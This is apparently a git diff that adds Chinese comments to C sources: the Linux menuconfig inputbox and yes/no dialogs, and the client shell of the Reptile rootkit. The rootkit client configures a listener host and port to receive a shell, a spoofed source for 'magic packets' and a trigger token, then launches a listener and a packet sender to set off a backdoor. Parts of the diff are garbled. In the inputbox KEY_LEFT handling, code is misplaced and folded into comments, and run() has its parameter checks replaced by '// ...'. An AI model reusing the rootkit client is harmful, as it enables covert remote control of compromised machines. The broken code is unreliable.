* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/ */
#include "dialog.h" #include "dialog.h"
// 包含对话框相关的头文件
char dialog_input_result[MAX_LEN + 1]; char dialog_input_result[MAX_LEN + 1];
// 定义一个字符数组用于存储输入框的结果
/* /*
* Print the termination buttons *
*/ */
static void print_buttons(WINDOW * dialog, int height, int width, int selected) static void print_buttons(WINDOW * dialog, int height, int width, int selected)
{ {
int x = width / 2 - 11; int x = width / 2 - 11;
// 计算按钮的起始 x 坐标
int y = height - 2; int y = height - 2;
// 计算按钮的起始 y 坐标
print_button(dialog, gettext(" Ok "), y, x, selected == 0); print_button(dialog, gettext(" Ok "), y, x, selected == 0);
// 打印 "Ok" 按钮
print_button(dialog, gettext(" Help "), y, x + 14, selected == 1); print_button(dialog, gettext(" Help "), y, x + 14, selected == 1);
// 打印 "Help" 按钮
wmove(dialog, y, x + 1 + 14 * selected); wmove(dialog, y, x + 1 + 14 * selected);
// 移动光标到选中的按钮位置
wrefresh(dialog); wrefresh(dialog);
// 刷新对话框窗口
} }
/* /*
* Display a dialog box for inputing a string *
*/ */
int dialog_inputbox(const char *title, const char *prompt, int height, int width, int dialog_inputbox(const char *title, const char *prompt, int height, int width,
const char *init) const char *init)
{ {
int i, x, y, box_y, box_x, box_width; int i, x, y, box_y, box_x, box_width;
// 定义一些变量用于计算和存储位置和大小
int input_x = 0, key = 0, button = -1; int input_x = 0, key = 0, button = -1;
// 定义输入框的 x 坐标、按键和按钮状态变量
int show_x, len, pos; int show_x, len, pos;
// 定义显示 x 坐标、字符串长度和光标位置变量
char *instr = dialog_input_result; char *instr = dialog_input_result;
// 指向输入结果的指针
WINDOW *dialog; WINDOW *dialog;
// 定义对话框窗口指针
if (!init) if (!init)
instr[0] = '\0'; instr[0] = '\0';
// 如果没有初始值,将输入结果置为空字符串
else else
strcpy(instr, init); strcpy(instr, init);
// 否则,将初始值复制到输入结果中
do_resize: do_resize:
// 标签,用于处理窗口大小变化
if (getmaxy(stdscr) <= (height - INPUTBOX_HEIGTH_MIN)) if (getmaxy(stdscr) <= (height - INPUTBOX_HEIGTH_MIN))
// 如果屏幕高度不足以显示对话框
return -ERRDISPLAYTOOSMALL; return -ERRDISPLAYTOOSMALL;
// 返回错误代码
if (getmaxx(stdscr) <= (width - INPUTBOX_WIDTH_MIN)) if (getmaxx(stdscr) <= (width - INPUTBOX_WIDTH_MIN))
// 如果屏幕宽度不足以显示对话框
return -ERRDISPLAYTOOSMALL; return -ERRDISPLAYTOOSMALL;
// 返回错误代码
/* center dialog box on screen */ /* 在屏幕上居中对话框 */
x = (getmaxx(stdscr) - width) / 2; x = (getmaxx(stdscr) - width) / 2;
// 计算对话框的 x 坐标
y = (getmaxy(stdscr) - height) / 2; y = (getmaxy(stdscr) - height) / 2;
// 计算对话框的 y 坐标
draw_shadow(stdscr, y, x, height, width); draw_shadow(stdscr, y, x, height, width);
// 绘制对话框阴影
dialog = newwin(height, width, y, x); dialog = newwin(height, width, y, x);
// 创建对话框窗口
keypad(dialog, TRUE); keypad(dialog, TRUE);
// 启用对话框窗口的键盘功能
draw_box(dialog, 0, 0, height, width, draw_box(dialog, 0, 0, height, width,
// 绘制对话框边框
dlg.dialog.atr, dlg.border.atr); dlg.dialog.atr, dlg.border.atr);
wattrset(dialog, dlg.border.atr); wattrset(dialog, dlg.border.atr);
// 设置对话框边框属性
mvwaddch(dialog, height - 3, 0, ACS_LTEE); mvwaddch(dialog, height - 3, 0, ACS_LTEE);
// 绘制左下角边框字符
for (i = 0; i < width - 2; i++) for (i = 0; i < width - 2; i++)
waddch(dialog, ACS_HLINE); waddch(dialog, ACS_HLINE);
// 绘制水平边框线
wattrset(dialog, dlg.dialog.atr); wattrset(dialog, dlg.dialog.atr);
// 设置对话框属性
waddch(dialog, ACS_RTEE); waddch(dialog, ACS_RTEE);
// 绘制右下角边框字符
print_title(dialog, title, width); print_title(dialog, title, width);
// 打印对话框标题
wattrset(dialog, dlg.dialog.atr); wattrset(dialog, dlg.dialog.atr);
// 设置对话框属性
print_autowrap(dialog, prompt, width - 2, 1, 3); print_autowrap(dialog, prompt, width - 2, 1, 3);
// 打印提示信息
/* Draw the input field box */ /* 绘制输入框 */
box_width = width - 6; box_width = width - 6;
// 计算输入框宽度
getyx(dialog, y, x); getyx(dialog, y, x);
// 获取当前光标位置
box_y = y + 2; box_y = y + 2;
// 计算输入框的 y 坐标
box_x = (width - box_width) / 2; box_x = (width - box_width) / 2;
// 计算输入框的 x 坐标
draw_box(dialog, y + 1, box_x - 1, 3, box_width + 2, draw_box(dialog, y + 1, box_x - 1, 3, box_width + 2,
// 绘制输入框边框
dlg.dialog.atr, dlg.border.atr); dlg.dialog.atr, dlg.border.atr);
print_buttons(dialog, height, width, 0); print_buttons(dialog, height, width, 0);
// 打印按钮
/* Set up the initial value */ /* 设置初始值 */
wmove(dialog, box_y, box_x); wmove(dialog, box_y, box_x);
// 移动光标到输入框起始位置
wattrset(dialog, dlg.inputbox.atr); wattrset(dialog, dlg.inputbox.atr);
// 设置输入框属性
len = strlen(instr); len = strlen(instr);
// 获取输入字符串的长度
pos = len; pos = len;
// 设置光标位置为字符串长度
if (len >= box_width) { if (len >= box_width) {
// 如果字符串长度超过输入框宽度
show_x = len - box_width + 1; show_x = len - box_width + 1;
// 计算显示起始 x 坐标
input_x = box_width - 1; input_x = box_width - 1;
// 设置输入框的 x 坐标
for (i = 0; i < box_width - 1; i++) for (i = 0; i < box_width - 1; i++)
// 在输入框中显示字符串
waddch(dialog, instr[show_x + i]); waddch(dialog, instr[show_x + i]);
} else { } else {
show_x = 0; show_x = 0;
// 设置显示起始 x 坐标为 0
input_x = len; input_x = len;
// 设置输入框的 x 坐标为字符串长度
waddstr(dialog, instr); waddstr(dialog, instr);
// 在输入框中显示字符串
} }
wmove(dialog, box_y, box_x + input_x); wmove(dialog, box_y, box_x + input_x);
// 移动光标到字符串末尾
wrefresh(dialog); wrefresh(dialog);
// 刷新对话框窗口
while (key != KEY_ESC) { while (key != KEY_ESC) {
// 循环直到按下 ESC 键
key = wgetch(dialog); key = wgetch(dialog);
// 获取按键
if (button == -1) { /* Input box selected */ if (button == -1) { /* 输入框被选中 */
switch (key) { switch (key) {
case TAB: case TAB:
// 制表符键
case KEY_UP: case KEY_UP:
// 向上箭头键
case KEY_DOWN: case KEY_DOWN:
// 向下箭头键
break; break;
// 忽略这些按键
case KEY_BACKSPACE: case KEY_BACKSPACE:
// 退格键
case 127: case 127:
// ASCII 退格键
if (pos) { if (pos) {
// 如果光标位置不为 0
wattrset(dialog, dlg.inputbox.atr); wattrset(dialog, dlg.inputbox.atr);
// 设置输入框属性
if (input_x == 0) { if (input_x == 0) {
// 如果输入框的 x 坐标为 0
show_x--; show_x--;
// 显示起始 x 坐标减 1
} else } else
input_x--; input_x--;
// 输入框的 x 坐标减 1
if (pos < len) { if (pos < len) {
for (i = pos - 1; i < len; i++) { // 如果光标位置小于字符串长度
for (i = pos - 1; i < len; i++)
// 删除字符
instr[i] = instr[i+1]; instr[i] = instr[i+1];
}
} }
pos--; pos--;
// 光标位置减 1
len--; len--;
// 字符串长度减 1
instr[len] = '\0'; instr[len] = '\0';
// 字符串末尾添加空字符
wmove(dialog, box_y, box_x); wmove(dialog, box_y, box_x);
// 移动光标到输入框起始位置
for (i = 0; i < box_width; i++) { for (i = 0; i < box_width; i++) {
// 在输入框中显示字符串
if (!instr[show_x + i]) { if (!instr[show_x + i]) {
waddch(dialog, ' '); waddch(dialog, ' ');
// 如果字符串结束,添加空格
break; break;
} }
waddch(dialog, instr[show_x + i]); waddch(dialog, instr[show_x + i]);
} }
wmove(dialog, box_y, input_x + box_x); wmove(dialog, box_y, input_x + box_x);
// 移动光标到字符串末尾
wrefresh(dialog); wrefresh(dialog);
// 刷新对话框窗口
} }
continue; continue;
// 继续循环
case KEY_LEFT: case KEY_LEFT:
// 向左箭头键
if (pos > 0) { if (pos > 0) {
// 如果光标位置大于 0
if (input_x > 0) { if (input_x > 0) {
wmove(dialog, box_y, --input_x + box_x); // 如果输入
} else if (input_x == 0) { print_buttons(dialog, height, width, 1); // 打印按钮,选中 "Help" 按钮
show_x--;
wmove(dialog, box_y, box_x);
for (i = 0; i < box_width; i++) {
if (!instr[show_x + i]) {
waddch(dialog, ' ');
break;
}
waddch(dialog, instr[show_x + i]);
}
wmove(dialog, box_y, box_x);
}
pos--;
}
continue;
case KEY_RIGHT:
if (pos < len) {
if (input_x < box_width - 1) {
wmove(dialog, box_y, ++input_x + box_x);
} else if (input_x == box_width - 1) {
show_x++;
wmove(dialog, box_y, box_x);
for (i = 0; i < box_width; i++) {
if (!instr[show_x + i]) {
waddch(dialog, ' ');
break;
}
waddch(dialog, instr[show_x + i]);
}
wmove(dialog, box_y, input_x + box_x);
}
pos++;
}
continue;
default:
if (key < 0x100 && isprint(key)) {
if (len < MAX_LEN) {
wattrset(dialog, dlg.inputbox.atr);
if (pos < len) {
for (i = len; i > pos; i--)
instr[i] = instr[i-1];
instr[pos] = key;
} else {
instr[len] = key;
}
pos++;
len++;
instr[len] = '\0';
if (input_x == box_width - 1) {
show_x++;
} else {
input_x++;
}
wmove(dialog, box_y, box_x);
for (i = 0; i < box_width; i++) {
if (!instr[show_x + i]) {
waddch(dialog, ' ');
break;
}
waddch(dialog, instr[show_x + i]);
}
wmove(dialog, box_y, input_x + box_x);
wrefresh(dialog);
} else
flash(); /* Alarm user about overflow */
continue;
}
}
}
switch (key) {
case 'O':
case 'o':
delwin(dialog);
return 0;
case 'H':
case 'h':
delwin(dialog);
return 1;
case KEY_UP:
case KEY_LEFT:
switch (button) {
case -1:
button = 1; /* Indicates "Help" button is selected */
print_buttons(dialog, height, width, 1);
break; break;
case 0: case 0: // 如果 "Ok" 按钮被选中
button = -1; /* Indicates input box is selected */ button = -1; // 表示输入框被选中
print_buttons(dialog, height, width, 0); print_buttons(dialog, height, width, 0);
wmove(dialog, box_y, box_x + input_x); wmove(dialog, box_y, box_x + input_x); // 移动光标到输入框
wrefresh(dialog); wrefresh(dialog); // 刷新对话框窗口
break; break;
case 1: case 1: // 如果 "Help" 按钮被选中
button = 0; /* Indicates "OK" button is selected */ button = 0; // 表示 "Ok" 按钮被选中
print_buttons(dialog, height, width, 0); print_buttons(dialog, height, width, 0);
break; break;
} }
break; break;
case TAB: case TAB: // 制表符键
case KEY_DOWN: case KEY_DOWN: // 向下箭头键
case KEY_RIGHT: case KEY_RIGHT: // 向右箭头键
switch (button) { switch (button) {
case -1: case -1: // 如果输入框被选中
button = 0; /* Indicates "OK" button is selected */ button = 0; // 表示 "Ok" 按钮被选中
print_buttons(dialog, height, width, 0); print_buttons(dialog, height, width, 0);
break; break;
case 0: case 0: // 如果 "Ok" 按钮被选中
button = 1; /* Indicates "Help" button is selected */ button = 1; // 表示 "Help" 按钮被选中
print_buttons(dialog, height, width, 1); print_buttons(dialog, height, width, 1);
break; break;
case 1: case 1: // 如果 "Help" 按钮被选中
button = -1; /* Indicates input box is selected */ button = -1; // 表示输入框被选中
print_buttons(dialog, height, width, 0); print_buttons(dialog, height, width, 0);
wmove(dialog, box_y, box_x + input_x); wmove(dialog, box_y, box_x + input_x); // 移动光标到输入框
wrefresh(dialog); wrefresh(dialog); // 刷新对话框窗口
break; break;
} }
break; break;
case ' ': case ' ': // 空格键
case '\n': case '\n': // 回车键
delwin(dialog); delwin(dialog); // 删除对话框窗口
return (button == -1 ? 0 : button); return (button == -1 ? 0 : button); // 返回按钮状态
case 'X': case 'X': // 'X' 键
case 'x': case 'x': // 'x' 键
key = KEY_ESC; key = KEY_ESC; // 设置按键为 ESC 键
break; break;
case KEY_ESC: case KEY_ESC: // ESC 键
key = on_key_esc(dialog); key = on_key_esc(dialog); // 处理 ESC 键
break; break;
case KEY_RESIZE: case KEY_RESIZE: // 窗口大小变化键
delwin(dialog); delwin(dialog); // 删除对话框窗口
on_key_resize(); on_key_resize(); // 处理窗口大小变化
goto do_resize; goto do_resize; // 跳转到 do_resize 标签重新绘制对话框
} }
} }
delwin(dialog); delwin(dialog); // 删除对话框窗口
return KEY_ESC; /* ESC pressed */ return KEY_ESC; // 返回 ESC 键表示用户取消操作
} }

File diff suppressed because it is too large Load Diff

@ -19,21 +19,25 @@
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/ */
#include "dialog.h"
#include "dialog.h" // 包含对话框库的头文件
/* /*
* Display termination buttons * Display termination buttons
*/ */
static void print_buttons(WINDOW * dialog, int height, int width, int selected) static void print_buttons(WINDOW * dialog, int height, int width, int selected)
{ {
int x = width / 2 - 10; int x = width / 2 - 10; // 计算 "Yes" 按钮的起始位置
int y = height - 2; int y = height - 2; // 计算按钮的垂直位置
print_button(dialog, gettext(" Yes "), y, x, selected == 0); print_button(dialog, gettext(" Yes "), y, x, selected == 0); // 打印 "Yes" 按钮
print_button(dialog, gettext(" No "), y, x + 13, selected == 1); print_button(dialog, gettext(" No "), y, x + 13, selected == 1); // 打印 "No" 按钮
wmove(dialog, y, x + 1 + 13 * selected); wmove(dialog, y, x + 1 + 13 * selected); // 移动光标到选中的按钮
wrefresh(dialog); wrefresh(dialog); // 刷新窗口以显示更改
} }
/* /*
@ -41,74 +45,74 @@ static void print_buttons(WINDOW * dialog, int height, int width, int selected)
*/ */
int dialog_yesno(const char *title, const char *prompt, int height, int width) int dialog_yesno(const char *title, const char *prompt, int height, int width)
{ {
int i, x, y, key = 0, button = 0; int i, x, y, key = 0, button = 0; // 定义变量用于存储位置、按键和按钮状态
WINDOW *dialog; WINDOW *dialog; // 定义对话框窗口
do_resize: do_resize:
if (getmaxy(stdscr) < (height + YESNO_HEIGTH_MIN)) if (getmaxy(stdscr) < (height + YESNO_HEIGTH_MIN))
return -ERRDISPLAYTOOSMALL; return -ERRDISPLAYTOOSMALL; // 如果屏幕高度不足以显示对话框,返回错误
if (getmaxx(stdscr) < (width + YESNO_WIDTH_MIN)) if (getmaxx(stdscr) < (width + YESNO_WIDTH_MIN))
return -ERRDISPLAYTOOSMALL; return -ERRDISPLAYTOOSMALL; // 如果屏幕宽度不足以显示对话框,返回错误
/* center dialog box on screen */ /* center dialog box on screen */
x = (getmaxx(stdscr) - width) / 2; x = (getmaxx(stdscr) - width) / 2; // 计算对话框的水平中心位置
y = (getmaxy(stdscr) - height) / 2; y = (getmaxy(stdscr) - height) / 2; // 计算对话框的垂直中心位置
draw_shadow(stdscr, y, x, height, width); draw_shadow(stdscr, y, x, height, width); // 绘制对话框阴影
dialog = newwin(height, width, y, x); dialog = newwin(height, width, y, x); // 创建对话框窗口
keypad(dialog, TRUE); keypad(dialog, TRUE); // 启用键盘输入处理
draw_box(dialog, 0, 0, height, width, draw_box(dialog, 0, 0, height, width,
dlg.dialog.atr, dlg.border.atr); dlg.dialog.atr, dlg.border.atr); // 绘制对话框边框
wattrset(dialog, dlg.border.atr); wattrset(dialog, dlg.border.atr); // 设置边框属性
mvwaddch(dialog, height - 3, 0, ACS_LTEE); mvwaddch(dialog, height - 3, 0, ACS_LTEE); // 添加左下角字符
for (i = 0; i < width - 2; i++) for (i = 0; i < width - 2; i++)
waddch(dialog, ACS_HLINE); waddch(dialog, ACS_HLINE); // 添加水平线
wattrset(dialog, dlg.dialog.atr); wattrset(dialog, dlg.dialog.atr); // 设置对话框属性
waddch(dialog, ACS_RTEE); waddch(dialog, ACS_RTEE); // 添加右下角字符
print_title(dialog, title, width); print_title(dialog, title, width); // 打印标题
wattrset(dialog, dlg.dialog.atr); wattrset(dialog, dlg.dialog.atr); // 设置对话框属性
print_autowrap(dialog, prompt, width - 2, 1, 3); print_autowrap(dialog, prompt, width - 2, 1, 3); // 打印提示信息
print_buttons(dialog, height, width, 0); print_buttons(dialog, height, width, 0); // 打印底部按钮
while (key != KEY_ESC) { while (key != KEY_ESC) {
key = wgetch(dialog); key = wgetch(dialog); // 获取用户按键输入
switch (key) { switch (key) {
case 'Y': case 'Y':
case 'y': case 'y':
delwin(dialog); delwin(dialog); // 删除对话框窗口
return 0; return 0; // 返回0表示 "Yes" 按钮被选中
case 'N': case 'N':
case 'n': case 'n':
delwin(dialog); delwin(dialog); // 删除对话框窗口
return 1; return 1; // 返回1表示 "No" 按钮被选中
case TAB: case TAB:
case KEY_LEFT: case KEY_LEFT:
case KEY_RIGHT: case KEY_RIGHT:
button = ((key == KEY_LEFT ? --button : ++button) < 0) ? 1 : (button > 1 ? 0 : button); button = ((key == KEY_LEFT ? --button : ++button) < 0) ? 1 : (button > 1 ? 0 : button);
print_buttons(dialog, height, width, button); print_buttons(dialog, height, width, button); // 打印按钮
wrefresh(dialog); wrefresh(dialog); // 刷新窗口以显示更改
break; break;
case ' ': case ' ':
case '\n': case '\n':
delwin(dialog); delwin(dialog); // 删除对话框窗口
return button; return button; // 返回按钮状态
case KEY_ESC: case KEY_ESC:
key = on_key_esc(dialog); key = on_key_esc(dialog); // 处理 ESC 键
break; break;
case KEY_RESIZE: case KEY_RESIZE:
delwin(dialog); delwin(dialog); // 删除对话框窗口
on_key_resize(); on_key_resize(); // 处理窗口大小变化
goto do_resize; goto do_resize; // 重新调整对话框大小
} }
} }
delwin(dialog); delwin(dialog); // 删除对话框窗口
return key; /* ESC pressed */ return key; /* ESC pressed */ // 返回 ESC 键
} }

@ -24,16 +24,16 @@
#include "util.h" #include "util.h"
pid_t pid; pid_t pid;// 声明变量用于存储进程ID、监听器和数据包
char *listener, *packet; char *listener, *packet; //
char *var_str[] = {"lhost", "lport", "srchost", "srcport", "rhost", char *var_str[] = {"lhost", "lport", "srchost", "srcport", "rhost", // 定义参数名称数组,用于配置工具的参数
"rport", "prot", "pass", "token"}; "rport", "prot", "pass", "token"};
char *var_str_up[] = {"LHOST", "LPORT", "SRCHOST", "SRCPORT", "RHOST", char *var_str_up[] = {"LHOST", "LPORT", "SRCHOST", "SRCPORT", "RHOST",// 定义参数名称的大写版本数组,用于匹配用户输入
"RPORT", "PROT", "PASS", "TOKEN"}; "RPORT", "PROT", "PASS", "TOKEN"};
char *description[] = {"Local host to receive the shell", char *description[] = {"Local host to receive the shell",// 定义参数描述数组,用于在帮助信息中解释每个参数的作用
"Local port to receive the shell", "Local port to receive the shell",
"Source host on magic packets (spoof)", "Source host on magic packets (spoof)",
"Source port on magic packets (only for TCP/UDP)", "Source port on magic packets (only for TCP/UDP)",
@ -44,7 +44,7 @@ char *description[] = {"Local host to receive the shell",
"Token to trigger the shell"}; "Token to trigger the shell"};
int num_variables = 9; //() { return sizeof(var_str) / sizeof(char *); } int num_variables = 9; //() { return sizeof(var_str) / sizeof(char *); }
char *var_array[] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL}; char *var_array[] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL};// 定义参数值数组,用于存储用户设置的参数值
int help(char **args); int help(char **args);
int __exit(char **args); int __exit(char **args);
@ -53,15 +53,17 @@ int unset(char **args);
int show(char **args); int show(char **args);
int run(char **args); int run(char **args);
int export(char **args); int export(char **args);
int load(char **args); int load(char **args); //客户端操作
char *builtin_str[] = {"help", "set", "unset", "show", "run", "export", "load", "exit"}; char *builtin_str[] = {"help", "set", "unset", "show", "run", "export", "load", "exit"}; // 定义内置命令数组和对应的函数指针数组
int (*builtin_func[])(char **) = {&help, &set, &unset, &show, &run, &export, &load, &__exit}; int (*builtin_func[])(char **) = {&help, &set, &unset, &show, &run, &export, &load, &__exit};
int num_builtins() int num_builtins()
// 定义函数返回内置命令的数量
{ return sizeof(builtin_str) / sizeof(char *); } { return sizeof(builtin_str) / sizeof(char *); }
int launch(char **args) int launch(char **args)
// 定义函数用于启动外部程序
{ {
pid_t pid; pid_t pid;
int status; int status;
@ -83,30 +85,31 @@ int launch(char **args)
return 1; return 1;
} }
void help_set() void help_set() //help解释其他命令
{ {
fprintf(stdout, "%s <variable> <value>\n", builtin_str[1]); fprintf(stdout, "%s <variable> <value>\n", builtin_str[1]);
fprintf(stdout, "Example: set LHOST 192.168.0.2\n"); fprintf(stdout, "Example: set LHOST 192.168.0.2\n");
} }
void help_unset() void help_unset()
// 定义帮助函数用于解释如何使用set命令
{ {
fprintf(stdout, "%s <variable>\n", builtin_str[2]); fprintf(stdout, "%s <variable>\n", builtin_str[2]);
fprintf(stdout, "Example: unset RHOST\n"); fprintf(stdout, "Example: unset RHOST\n");
} }
void help_conf(int i) void help_conf(int i)// 定义帮助函数,用于解释如何使用配置文件相关的命令
{ {
fprintf(stdout, "%s <file>\n", builtin_str[i]); fprintf(stdout, "%s <file>\n", builtin_str[i]);
fprintf(stdout, "Example: %s client.conf\n", builtin_str[i]); fprintf(stdout, "Example: %s client.conf\n", builtin_str[i]);
} }
void no_help() void no_help()// 定义函数,当命令不需要帮助信息时调用
{ {
fprintf(stdout, "This command doesn't need help\n"); fprintf(stdout, "This command doesn't need help\n");
} }
int help(char **args) int help(char **args)// 定义help函数用于显示帮助信息
{ {
if (args[0] == NULL) if (args[0] == NULL)
return 1; return 1;
@ -149,7 +152,7 @@ int help(char **args)
return 1; return 1;
} }
int __exit(char **args) int __exit(char **args)// 定义__exit函数用于退出程序并释放资源
{ {
int i; int i;
@ -173,7 +176,7 @@ int __exit(char **args)
return 0; return 0;
} }
int set(char **args) int set(char **args)// 定义set函数用于设置参数值
{ {
int i; int i;
@ -202,21 +205,25 @@ int set(char **args)
return 1; return 1;
} }
int unset(char **args) // unset函数用于取消设置某个参数的值
{ int unset(char** args) {
int i; int i;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL) if (args[0] == NULL)
return 1; return 1;
// 如果没有提供要取消设置的参数名打印错误信息并返回错误代码1
if (args[1] == NULL) { if (args[1] == NULL) {
fprintf(stdout, "%s wrong syntax!\n", bad); fprintf(stdout, "%s wrong syntax!\n", bad);
return 1; return 1;
} }
// 遍历所有参数,查找是否匹配用户提供的参数名
for (i = 0; i < num_variables; i++) { for (i = 0; i < num_variables; i++) {
if (strcmp(args[1], var_str[i]) == 0 || if (strcmp(args[1], var_str[i]) == 0 ||
strcmp(args[1], var_str_up[i]) == 0) { strcmp(args[1], var_str_up[i]) == 0) {
// 如果找到匹配的参数名释放之前存储的值并将其设置为NULL
if (var_array[i]) if (var_array[i])
free(var_array[i]); free(var_array[i]);
@ -226,119 +233,90 @@ int unset(char **args)
} }
} }
// 如果没有找到匹配的参数名,打印错误信息
fprintf(stdout, "%s wrong parameter!\n", bad); fprintf(stdout, "%s wrong parameter!\n", bad);
return 1; return 1;
} }
int show(char **args) // show函数用于显示当前所有参数的值和描述
{ int show(char** args) {
int i; int i;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL) if (args[0] == NULL)
return 1; return 1;
// 打印表头
fprintf(stdout, "\n"); fprintf(stdout, "\n");
fprintf(stdout, "\e[00;33mVAR\t\tVALUE\t\t\tDESCRIPTION\e[00m\n\n"); fprintf(stdout, "\e[00;33mVAR\t\tVALUE\t\t\tDESCRIPTION\e[00m\n\n");
// 遍历所有参数,打印其值和描述
for (i = 0; i < num_variables; i++) { for (i = 0; i < num_variables; i++) {
if (var_array[i]) { if (var_array[i]) {
// 根据值的长度,调整输出格式,以保持对齐
if (strlen(var_array[i]) >= 8) { if (strlen(var_array[i]) >= 8) {
fprintf(stdout, "%s\t\t%s\t\t%s\n", fprintf(stdout, "%s\t\t%s\t\t%s\n",
var_str_up[i], var_array[i], var_str_up[i], var_array[i], description[i]);
description[i]); }
} else if (strlen(var_array[i]) >= 16) { else if (strlen(var_array[i]) >= 16) {
fprintf(stdout, "%s\t\t%s\t%s\n", var_str_up[i], fprintf(stdout, "%s\t\t%s\t%s\n", var_str_up[i],
var_array[i], description[i]); var_array[i], description[i]);
} else { }
else {
fprintf(stdout, "%s\t\t%s\t\t\t%s\n", fprintf(stdout, "%s\t\t%s\t\t\t%s\n",
var_str_up[i], var_array[i], var_str_up[i], var_array[i], description[i]);
description[i]);
} }
} else { }
else {
// 如果参数没有被设置,打印空值
fprintf(stdout, "%s\t\t \t\t\t%s\n", var_str_up[i], fprintf(stdout, "%s\t\t \t\t\t%s\n", var_str_up[i],
description[i]); description[i]);
} }
} }
// 打印换行符
fprintf(stdout, "\n"); fprintf(stdout, "\n");
return 1; return 1;
} }
void interrupt(int signal) // interrupt函数用于处理程序接收到中断信号时的行为
{ void interrupt(int signal) {
// 打印中断信息
fprintf(stdout, "\r"); fprintf(stdout, "\r");
fflush(stdout); fflush(stdout);
fprintf(stdout, "%s Interrupted: %d\n", warn, signal); fprintf(stdout, "%s Interrupted: %d\n", warn, signal);
} }
int run(char **args) // run函数用于运行配置好的工具
{ int run(char** args) {
pid_t pid, pid2; pid_t pid, pid2;
int status; int status;
//char *envp[1] = {NULL};
// 如果没有提供参数返回错误代码1
if (args[0] == NULL) if (args[0] == NULL)
return 1; return 1;
if (!var_array[0]) { // 检查必要的参数是否已经被设置
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[0]); // ...
return 1;
}
if (!var_array[1]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[1]);
return 1;
}
if (!var_array[2]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[2]);
return 1;
}
if (!var_array[4]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[4]);
return 1;
}
if (!var_array[6]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[6]);
return 1;
}
if (!var_array[8]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[8]);
return 1;
}
if (!(strcmp(var_array[6], "icmp") == 0 ||
strcmp(var_array[6], "ICMP") == 0)) {
if (!var_array[3]) {
fprintf(stdout, "%s %s is not defined!\n", bad,
var_str_up[3]);
return 1;
}
if (!var_array[5]) {
fprintf(stdout, "%s %s is not defined!\n", bad,
var_str_up[5]);
return 1;
}
}
char *arg_listener[] = {listener, "-p", var_array[1], "-s", // 构建用于启动监听器和数据包发送器的参数数组
var_array[7], NULL, NULL}; char* arg_listener[] = { listener, "-p", var_array[1], "-s",
var_array[7], NULL, NULL };
char *arg_packet[] = {packet, "-t", var_array[4], "-x", char* arg_packet[] = { packet, "-t", var_array[4], "-x",
var_array[6], "-s", var_array[2], "-l", var_array[6], "-s", var_array[2], "-l",
var_array[0], "-p", var_array[1], "-k", var_array[0], "-p", var_array[1], "-k",
var_array[8], "-q", var_array[3], "-r", var_array[8], "-q", var_array[3], "-r",
var_array[5], NULL, NULL}; var_array[5], NULL, NULL };
// 创建子进程
pid = fork(); pid = fork();
// 如果fork失败打印错误信息并退出
if (pid == -1) if (pid == -1)
fatal("on forking proccess"); fatal("on forking proccess");
// 父进程等待子进程结束
if (pid > 0) { if (pid > 0) {
signal(SIGTERM, interrupt); signal(SIGTERM, interrupt);
signal(SIGINT, interrupt); signal(SIGINT, interrupt);
@ -348,13 +326,18 @@ int run(char **args)
} while (!WIFEXITED(status) && !WIFSIGNALED(status)); } while (!WIFEXITED(status) && !WIFSIGNALED(status));
} }
// 子进程执行具体的启动逻辑
if (pid == 0) { if (pid == 0) {
// 创建另一个子进程
pid2 = fork(); pid2 = fork();
// 如果fork失败打印错误信息并退出
if (pid2 == -1) if (pid2 == -1)
fatal("on forking proccess"); fatal("on forking proccess");
// 第二个子进程启动监听器
if (pid2 > 0) { if (pid2 > 0) {
// 根据配置决定是否传递某些参数
if (var_array[7] == NULL) { if (var_array[7] == NULL) {
arg_listener[3] = NULL; arg_listener[3] = NULL;
arg_listener[4] = NULL; arg_listener[4] = NULL;
@ -363,9 +346,11 @@ int run(char **args)
fprintf(stderr, "%s listener could not be launched\n", bad); fprintf(stderr, "%s listener could not be launched\n", bad);
} }
// 第三个子进程发送数据包
if (pid2 == 0) { if (pid2 == 0) {
// 根据协议类型调整参数
if (strcmp(var_array[6], "icmp") == 0 || if (strcmp(var_array[6], "icmp") == 0 ||
strcmp(var_array[6], "ICMP") == 0) { strcmp(var_array[6], "ICMP") == 0) {
arg_packet[13] = NULL; arg_packet[13] = NULL;
arg_packet[14] = NULL; arg_packet[14] = NULL;
arg_packet[15] = NULL; arg_packet[15] = NULL;
@ -383,59 +368,61 @@ int run(char **args)
return 1; return 1;
} }
/* // export函数用于将当前配置导出到文件
* Thanks aliyuchang33 for suggesting this! ;) int export(char** args) {
*
* https://github.com/f0rb1dd3n/Reptile/pull/61/commits/0482eeff93c5b3f9097f7e06e2b2a0fcf248eb8e
*
*/
int export(char **args)
{
int vars; int vars;
FILE *confile; FILE* confile;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL) if (args[0] == NULL)
return 1; return 1;
// 如果没有提供文件名打印错误信息并返回错误代码1
if (args[1] == NULL) { if (args[1] == NULL) {
fprintf(stdout, "%s wrong syntax!\n", bad); fprintf(stdout, "%s wrong syntax!\n", bad);
return 1; return 1;
} }
// 尝试打开文件如果失败打印错误信息并返回错误代码1
if (!(confile = fopen(args[1], "w+"))) { if (!(confile = fopen(args[1], "w+"))) {
fprintf(stderr, "%s Cannot open config file\n", bad); fprintf(stderr, "%s Cannot open config file\n", bad);
return 1; return 1;
} }
// 将所有参数的值写入文件
for (vars = 0; vars < 9; vars++) for (vars = 0; vars < 9; vars++)
fprintf(confile, "%s\n", var_array[vars]); fprintf(confile, "%s\n", var_array[vars]);
// 关闭文件并打印成功信息
fclose(confile); fclose(confile);
fprintf(stdout, "%s Configuration exported\n", good); fprintf(stdout, "%s Configuration exported\n", good);
return 1; return 1;
} }
int load(char **args) // load函数用于从文件加载配置
{ int load(char** args) {
int vars; int vars;
FILE *confile; FILE* confile;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL) if (args[0] == NULL)
return 1; return 1;
